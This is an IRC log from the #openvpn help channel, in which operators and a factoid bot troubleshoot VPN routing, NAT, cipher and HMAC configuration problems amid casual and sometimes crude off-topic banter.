01:58 -!- |1li [~|1li@204.14.77.52] has quit [Ping timeout: 268 seconds]
02:07 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
02:08 -!- Casper [~Phantom@unaffiliated/thephantom] has joined #openvpn
02:09 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:09 < Casper> Hi there, I have an issue with openvpn client on ios and on openwrt... It connect but disconnect after a few error with decrypt error... what did I missed? here's the server log: http://pastie.org/private/icwt1v5f80a0m0rqrizj2a
02:11 <@krzee> Casper,
02:11 <@krzee> !configs
02:11 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
02:12 <@krzee> looks like you have mismatched --cipher options or something
02:12 < Casper> I'll look at that
02:13 < Casper> ... commented out, so probably using the default... let's see the config..
02:13 < Casper> client
02:14 < Casper> krzee: mismatch... grrr
02:14 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
02:15 <@krzee> before trying new OS's i would suggest having a config you know works cause you used it on a familiar os
02:16 < Casper> thanks!  now atleast it stay connected! :D
02:17 <@krzee> yw
02:18 < Casper> . . .  stupid openvpn on ios... somehow, even if I'm connected, and the "VPN" icon is there... it still do NOT use the vpn...
02:19 < Casper> ow well, atleast it connect... I'll see if I missed something in the client config...
02:20 <@krzee> you are connected to the vpn, thats what the vpn icon means
02:20 < Casper> yes
02:20 < Casper> but the web trafic was supposed to be routed throught it
02:20 < Casper> and it is not
02:21 <@krzee> none of my vpns (im connected to 6 right now) are set to default route over them, i would not expect the icon to mean that
02:21 <@krzee> !redirect
02:21 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
02:21 <@vpnHelper> http://ircpimps.org/redirect.png or (#5) flowchart mirror at http://pekster.sdf.org/misc/redirect.png
02:21 <@krzee> !forget redirect 4
02:21 <@vpnHelper> Joo got it.
02:21 <@krzee> !forget redirect 4
02:21 <@vpnHelper> Joo got it.
02:21 < Casper> oh? it's a server config?
02:21 <@krzee> !learn redirect as Handy troubleshooting flowchart:  http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
02:21 <@vpnHelper> Joo got it.
02:22 <@krzee> well you dont have to push redirect-gateway from server, it can be done by client
02:22 <@krzee> but the rest is in the server (not openvpn)
02:22 <@krzee> !redirect
02:22 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
02:22 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
02:23 < Casper> thanks
02:23 < Casper> I'll read more info, I got the impression that the redirect gateway was automatic
02:24 < Casper> and I now have to also figure out how to fix the server, it's not NATing the connection
02:24 <@krzee> what os?
02:24 < Casper> linux / openwrt
02:24 <@krzee> !linnat
02:24 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
02:24 <@krzee> hmm
02:24 <@krzee> !forget linnat *
02:24 <@vpnHelper> Joo got it.
02:25 < Casper> the guide I found on openwrt is what I used
02:25 <@krzee> !learn linnat as for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
02:25 <@vpnHelper> Joo got it.
02:25 < Casper> I probably missed one step...
02:25 <@krzee> !learn linnat as to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS>
02:25 <@vpnHelper> Joo got it.
02:25 < Casper> oh I think I know
02:25 <@krzee> !learn linnat as http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
02:25 <@vpnHelper> Joo got it.
02:26 < Casper> btw
02:26 < Casper> can you make openvpn to share the lan ip address? or must be different?
02:26 < jozko> hehe
02:26 <@krzee> !route
02:26 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
02:26 <@vpnHelper> the server or client
02:26 <@krzee> thats a writeup about sharing server and client lans over openvpn
02:26 < jozko> casper i have the same problem
02:27 <@krzee> the TLDR version is !serverlan and !clientlan
02:27 < jozko> in router have client and cant go inside dhcp client from server vpn :D
02:27 <@krzee> last thing you said was:
02:27 <@krzee>  <jozko> still try to fix problem but...
02:27 < jozko> yes
02:28 <@krzee> almost an hour ago
02:28 < jozko> sorry im newbie
02:28 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
02:30 <@krzee> !goal
02:30 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
02:31 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
02:31 < jozko> i would like to access the lan behind client(router) from server
02:32 < Casper> server_bridge need tap, I'm set to tun
02:33 < jozko> works so?
02:33 <@krzee> !clientlan
02:33 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
02:33 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
02:33 <@krzee> jozko, ^^
02:33 < jozko> :)
02:33 <@krzee> !ccd
02:33 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
02:33 < Casper> what is the main difference between tap and tun?
02:33 <@krzee> Casper,
02:33 <@krzee> !tunortap
02:33 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
02:33 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
02:35 < Casper> ah that actually say it...
02:35 < Casper> thanks
02:37 < jozko> thanks
02:43 < Casper> arrgggg  krzee.... I don't like you :D  nowhere in the damn documentation of the router they say you have to manually NAT...
02:43 < Casper> but the config file have a small note about it.. grrr
02:44 <@krzee> of the router?
02:44 <@krzee> why would the router's docs teach you how to use openvpn?
02:44 <@krzee> did it teach you how to use linux in general?
02:44 < Casper> there is some howto on the router's site
02:45 < Casper> basically a "here's a config, do this and that, configure your clients and voila"
02:47 < Casper> hmmm and do not route the packets to the lan... ow well, I'll read about the NAT stuff tomorrow
02:47 < Casper> slowly but surelly, I go forward (hey, it connect now!)
02:49 < jozko> nice if success
02:50 < Casper> I want to be able to do 2 things mainly, 1) be able to download apps when I'm not on wifi (my provider block the appstore)   and 2) access my music collection that is on my hd when I'm not home
02:51 < Casper> for both, I need the vpn, and it connect!  so the big step is done (f* y* petro canada! :D)
02:51 < Casper> yes, my cell provider is petro canada
02:51 < jozko> omfg
02:51 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
02:51 < jozko> you have in canada these problems?
02:52 < jozko> itsnt democracy?
02:52 < Casper> I have unlimited web browsing, not a data plan
02:52 < Casper> I pay 10$/month for that
02:52 < Casper> a standard 5G data plan is like 40$/month
02:53 < jozko> so hard for ya?
02:53 < jozko> :D
02:53 < jozko> 40 dolars
02:53 < jozko> in canada
02:53 < jozko> sorry for offtopic
02:54 < Casper> it's not that much, but that's alot just to be able to download the apps... and wouln't allow me to get my music collection at home
02:54 < Casper> I'm happy with the limitations
02:54 < Casper> but if I can work around them, it's even better!
02:55 < jozko> i see
02:56 < jozko> vpn ist for newbie as me :(
02:56 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
02:56 < jozko> isnt*
02:56 < Casper> btw
02:56 < Casper> petro canada is... a gas station  :D
02:56 < jozko> lol
02:57 < jozko> and internet provider
02:57 < Casper> cell provider
02:57 < Casper> a reseller of rogers
02:57 < Casper> funny thing is...
02:57 < jozko> heh
02:57 < Casper> rogers... 50 cents/minute
02:57 < Casper> petro canada? 25 cents/minute
02:57 < jozko> lol
02:57 < jozko> funny
02:58 < Casper> how can a reseller be half the price and still make money?
02:58 < jozko> wo knows?
02:58 < jozko> who*
02:59 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:59 -!- JAVACODER [~JAVACODER@2.190.37.182] has joined #openvpn
03:03 < Dar1us> retail markups are crazy big
03:07 < Casper> yeah
03:07 < Casper> lack of true competition
03:08 < Casper> the main ones here are...  telus, bell, rogers, fido, videotron, koodoo...   bell own telus, rogers own fido, koodoo is a rogers reseller
03:10 < Casper> so really, there is 3 compagny...
03:11 < Casper> well, time to sleep
03:11 < Casper> nite all
03:13 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
03:14 < jozko> !time
03:39 < jozko> !thetime
03:40 < jozko> !the time
03:40 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:59 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
04:00 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
04:03 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 246 seconds]
04:07 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
04:15 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
04:20 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
04:51 -!- ugoub [~wangz@184.22.125.15] has quit [Ping timeout: 246 seconds]
04:54 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:55 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 248 seconds]
05:12 -!- ugoub [~wangz@184.22.125.15] has joined #openvpn
05:23 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Quit: ABANDON SHIP! ABANDON SHIP!]
05:23 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
05:24 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
05:24 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
05:24 -!- mode/#openvpn [+o novaflash] by ChanServ
05:26 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
05:27 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
05:37 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
05:40 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has joined #openvpn
05:41 < hyper_ch> howdy, strange behaviour... on a 32bit windows machine, connection works fine... but when you copy certs and config file to a win 7 64bit machine, it complains about this:   There is a problem in your selection of --ifconfig endpoints [local=10.8.0.133, remote=255.255.255.0].  The local and remote VPN endpoints must exist within the same 255.255.255.252 subnet.  This is a limitation of --dev tun when used with the TAP-WIN32 driver.  Try 'openvpn -
05:41 < hyper_ch> -show-valid-subnets' option for more info.
05:42 < Aketzu> dev tun / dev tap mismatch
05:43 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
05:43 < hyper_ch> Aketzu: as said, config stuff on win 32 works....    same config stuff copied over to win 64 produces that error
05:43 < hyper_ch> where could there be a dev tun / dev tap mismatch?
05:44 < Aketzu> server has dev-type tap and client dev-type tun
05:44 < hyper_ch> Aketzu: why does it work then on win32?
05:44 < Aketzu> can you put client log to pastebin
05:45 < hyper_ch> and to disappoint you, server has  persist-tun
05:45 < hyper_ch> and   dev tun
05:48 -!- ugoub [~wangz@184.22.125.15] has quit [Quit: Leaving.]
05:48 < hyper_ch> http://paste.debian.net/18003/
05:49 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:50 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:53 < Aketzu> remove the ccd file
05:53 < Aketzu> "For TUN devices, rn is the IP address of the remote VPN endpoint."
05:54 < hyper_ch> why remove the ccd?
05:54 < Aketzu> because ifconfig-push line is wrong
05:54 < hyper_ch> I assign static IPs to client
05:54 < hyper_ch> so how to assign a static ip then?
05:55 < Aketzu> ifconfig-push 10.8.0.133 10.8.0.134 might work
05:56 < hyper_ch> it's client-to-client.... only one ip would be required.... works on countless linux clients like that
05:56 < hyper_ch> and on win32
05:56 < hyper_ch> but not win64
05:57 -!- ikrabbe [ingo@coop.ikrabbe-ask.de] has left #openvpn []
05:57 < Aketzu> I'd guess the tap-win32 driver has some implementation differencies between win32 and win64
05:57 < Aketzu> 'topology subnet' might be what you want
05:58 < hyper_ch> yeah, that's what I meant and that's what's in the config
05:59 < Aketzu> oh, missed that
05:59 -!- Netsplit *.net <-> *.split quits: riddle, Sjors, rawtaz, Zenum, HectorBarbossa, andrusha97, C-S-B
05:59 -!- Netsplit over, joins: rawtaz
05:59 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
05:59 < Aketzu> but so... what happens without ccd file?
05:59 < Aketzu> (or that ifconfig-push commented out)
05:59 -!- Netsplit over, joins: C-S-B
05:59 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zctirpdnobgjfiia] has joined #openvpn
06:00 < hyper_ch> it's werid
06:00 -!- Netsplit over, joins: riddle
06:00 < hyper_ch> don't know.... buddy went offline
06:00 -!- Netsplit over, joins: Sjors
06:06 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 246 seconds]
06:27 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 264 seconds]
06:41 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
07:13 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 264 seconds]
07:25 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
07:45 -!- pi__ [~pi@cpe-24-210-20-161.columbus.res.rr.com] has joined #openvpn
08:01 -!- tck9 [~MAKAVELI@S0106602ad06f8c6b.vs.shawcable.net] has joined #openvpn
08:02 < tck9> i have a windows 7 machine with 2 NICs. i want to share my windows openvpn connection with other devices on my home network (xbox, phone, etc). is it possible to setup the openvpn client on the secondary NIC only strictly for the purposes of connection sharing and have my regular computer activity use NIC 1 (without vpn) ?
08:03 < tck9> so, basically i want to use the secondary NIC as a dedicated vpn connection point for some devices and not route my internet browsing, etc on that computer through the VPN
08:19 -!- _bt [foobar@unaffiliated/bt/x-192343] has joined #openvpn
08:26 -!- JAVACODER [~JAVACODER@2.190.37.182] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
08:30 -!- tck9 [~MAKAVELI@S0106602ad06f8c6b.vs.shawcable.net] has quit [Quit: Leaving]
08:34 -!- Blok [~sa@unaffiliated/blok] has quit [Read error: Operation timed out]
08:57 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
09:18 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
09:26 -!- JensenDied [~jhornick@c-98-206-219-251.hsd1.il.comcast.net] has joined #openvpn
09:33 -!- JensenDied [~jhornick@c-98-206-219-251.hsd1.il.comcast.net] has left #openvpn []
09:44 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:52 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:57 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
10:01 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 245 seconds]
10:01 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
10:12 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
10:12 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
10:15 -!- raidz_away is now known as raidz
10:17 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
10:19 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
10:20 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
10:26 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
10:27 -!- l0uis [~l0uis@unaffiliated/l0uis] has joined #openvpn
10:27 < l0uis> Is there a way to run an external script prior to openvpn performing a connection attempt?
10:28 <@ecrist> what do you mean, exactly?
10:29 < l0uis> I'm investigating putting fwknop in front of openvpn to pinhole my firewall for the incoming connection. So, before openvpn tries to establish a session with the server, it would need to run an external script.
10:30 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
10:30 <@ecrist> write a wrapper
10:30 <@ecrist> or, do something like fwknop -arg 1 -arg 2 && openvpn --config foobeans
10:30 < l0uis> That will run fine on the first run of the client, but if the client is already running it won't run again when the client tries to reconnect.
10:30 -!- Zenum [~znc@unaffiliated/zenum] has quit [Excess Flood]
10:31 <@ecrist> !notovpn
10:31 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
10:31 < l0uis> So basically, the answer is no. There is no way to hook into openvpn and have it run a script prior to each connection attempt.
10:32 <@ecrist> !man
10:32 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
10:32 < l0uis> !verymuchopenvpn
10:32 -!- l0uis [~l0uis@unaffiliated/l0uis] has left #openvpn []
10:32 < rob0> haha
10:32 -!- mode/#openvpn [+b *!*@unaffiliated/l0uis] by ecrist
10:32 <@ecrist> and stay out
10:33 < rob0> :)
10:45 < _bt> hello openvpn'ers. i have a site 2 site vpn which is working great. i am now configuring VPN access for clients. i've managed to get this working, but the clients can only access resources on the 1 site. i'm pushing routes for the subnets at both sites, and they get added no problem. any ideas where i can start looking?
10:47 < rob0> a server's LAN or a client's LAN? We have factoids/flowcharts for either.
10:47 < rob0> !serverlan
10:47 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
10:47 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
10:47 < rob0> !clientlan
10:47 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
10:47 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
10:48 < _bt> 2 LANs. both connected by site2site VPN. road warrior client wants to connect to the network and have access to both LANs. road warrior can only access resources in the site they connect to, the road warriors LAN is not important. so i guess, "serverlan"?
10:55 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:14 < _bt> silly me
11:14 < _bt> sorted it :)
11:21 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
11:23 -!- Poison [~Poison@202.88.87.179] has joined #openvpn
11:33 -!- mattock_afk is now known as mattock
12:02 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 260 seconds]
12:13 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
12:17 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:22 -!- Muffins [~Nick@69.146.233.50] has joined #openvpn
12:27 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
12:30 < nosuid> Anyone up?
12:30 -!- raidz is now known as raidz_away
12:30 -!- lmm [uid6417@gateway/web/irccloud.com/x-xftcfiwmmmobhvka] has quit [Quit: Connection closed for inactivity]
12:31 < Casper> o/
12:32 < nosuid> I've been running an ovpn server for a while, now I've added a client connection to route internet-bound traffic through. Any connection to the vpn-server now fails, server logs show hmac auth replays
12:32 < nosuid> I'm guessing replies to the connecting client are routed through the client connection and that wont work :)
12:32 < nosuid> Ideas?
12:32 < Casper> I'm at the routing point now, can't help :D
12:34 <@ecrist> !def1
12:34 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
12:35 <@ecrist> nosuid ^^^
12:35 < nosuid> ecrist: To be used in the server or client config?
12:35 <@ecrist> that depends
12:35 <@ecrist> traditionally, it's server-side
12:36 <@ecrist> push "redirect-gateway def1"
12:36 <@ecrist> on the client, it's just  
12:36 < nosuid> I use it in my server config, the client connection config pulls such settingz
12:36 <@ecrist> redirect-gateway def1
12:36 <@ecrist> I'm guessing you have, in your server config
12:36 <@ecrist> push "redirect-gateway"
12:36 <@ecrist> or
12:36 < nosuid> In my own server config im using def1
12:36 <@ecrist> push "route 0.0.0.0/0"
12:37 <@ecrist> !configs
12:37 <@ecrist> !logs
12:37 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
12:37 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
12:37 < nosuid> On the client connection (server hosted by someone else) it pulls settings
12:37 < nosuid> My own clients pull def1
12:37 < nosuid> Alright, gimme a sek
12:40 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:42 -!- raidz_away is now known as raidz
12:42 < nosuid> Server config pastebin.com/i51VjF47
12:44 < nosuid> Client connection pastebin.com/eP56qASk
12:45 < nosuid> The client connection config is for an external provider
12:46 < nosuid> When it starts, client connections to my server are receiving 0 packets and server logs are reporting hmac replays
12:46 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
12:46 <@krzee> "and server logs are reporting hmac replays"
12:46 <@krzee> show us
12:47 < nosuid> I think replies to my vpn clients are being routed through the external provider and not the servers own ip
12:47 < nosuid> !clientlan
12:47 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
12:47 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
12:47 <@krzee> i see you put tls-auth inline but you dont use key-direction
12:48 <@krzee> !in-line
12:48 <@krzee> !inline
12:48 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
12:48 <@krzee> add this to your client:
12:48 <@krzee> key-direction 1
12:49 < nosuid> The connection works without?
12:49 <@krzee> " <nosuid> When it starts, client connections to my server are receiving 0 packets and server logs are reporting hmac replays"
12:49 <@krzee> thats not a description of a working connection
12:49 <@krzee> go do it
12:50 < nosuid> Sorry. The connection to the external provider is working from lan
12:50 <@krzee> listen, i just told you your problem
12:50 <@krzee> you can choose to ignore it, or listen to it and get past your current problem and on to the next one
12:50 < nosuid> Ill try, last time I did the connection failed :)
12:51 <@krzee> the HMAC errors are from what i said
12:51 <@krzee> you can read the manual for key-direction OR my writeup at !inline to understand why
12:51 < nosuid> Alright, ill be back
12:51 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
12:52 <@krzee> gah, why would you ever argue with solutions when asking for help
12:53 <@EugeneKay> "Because fuck you, that's why."
12:59 < kisom> krzee: I don't get how you can be so patient. I'd stab that guy in the face after a few seconds.
12:59 < kisom> Also applies IRL.
12:59 <@krzee> weed
12:59 <@krzee> =]
13:00 <@krzee> (also applies IRL)
13:00 < kisom> And you're on IRC? Go eat some Billys pizza :P
13:00 <@krzee> haha no pizza im training for an MMA tournament
13:00 <@krzee> gotta lose weight
13:01 <@ecrist> I DO stab them in the face
13:01 <@ecrist> IRL, or +b in IRC
13:01 <@krzee> kisom, we only eat jersey joes pizza now anyways
13:02 < kisom> I have no clue what type of pizza that is
13:03 <@krzee> oh lol
13:03 < kisom> I order my pizza via a bash script
13:03 <@krzee> anons found some open cameras and started monitoring them on 4chan
13:03 <@krzee> they caught the owner of jersey joe's pizzaria (san diego) masterbating before making pizzas
13:03 <@krzee> took still photos from his camera, and sent a local in with the pics
13:03 <@krzee> also took over his yelp, it was HILARIOUS
13:04 <@krzee> this was a couple days ago
13:04 <@krzee> http://www.huffingtonpost.com/2013/07/18/jersey-joes-pizzeria-masturbation-photo-video_n_3618816.html
13:04 <@vpnHelper> Title: Jersey Joe's Pizzeria Owner Denies Masturbating In Kitchen After Security Picture Leaks (PHOTO, VIDEO) (at www.huffingtonpost.com)
13:05 < kisom> So, I'm gonna eat pizza later
13:05 < kisom> And I'm not clicking that link
13:05 <@krzee> bahahah
13:05 <@krzee> you already know!
13:06 <@krzee> order the extra creamy pizza bro
13:06 < kisom> Yeah but that's like describing goatse vs looking at it
13:11 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
13:12 < nosuid> krzee: Actually, the external provider states that the key direction must be left out
13:12 <@krzee> then go get help from them
13:12 <@krzee> !provider
13:12 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
13:13 < nosuid> But I can connect to my own server from inside the lan, so the key direction shouldnt be the issue?
13:14 <@ecrist> you don't know what their server config looks like
13:14 < nosuid> Suuure, but I think you both misunderstand me
13:14 <@krzee> you showed a server config and a client config
13:14 <@krzee> they WILL NOT work together
13:15 <@krzee> they WILL give HMAC errors
13:15 < nosuid> So why can I connect to my own server from lan?
13:15 <@krzee> are you using the 2 configs you pastebin'ed?
13:16 < nosuid> Yeah?
13:16 <@krzee> holy shit
13:16 <@krzee> I JUST TOLD YOU!
13:16  * krzee cant decide to ignore or kick
13:16 < nosuid> Please?
13:16 <@krzee> [14:14]  <krzee> you showed a server config and a client config
13:16 <@krzee> [14:14]  <krzee> they WILL NOT work together
13:16 <@krzee> [14:15]  <krzee> they WILL give HMAC errors
13:17 <@krzee> wtf
13:17 <@krzee> annnnnnd /ignore wins
13:17 < nosuid> Ok, so why does it work from LAN, just not from WAN?
13:18 <@ecrist> because your server config is different than the provider's server config
13:18 < nosuid> Because hmac replies are being routed through the external vpn and not the servers public ip
13:18  * ecrist searches for kick, finds it
13:18 -!- nosuid was kicked from #openvpn by ecrist [nosuid]
13:18  * krzee watches it sail through the goal posts "IT'S GOOD!"
13:19 < Aketzu> now that we're talking about impossible issues...
13:20 < Aketzu> I have Sierra wireless LS300 which has "SSL VPN" and manual says "Based on OpenVPN"
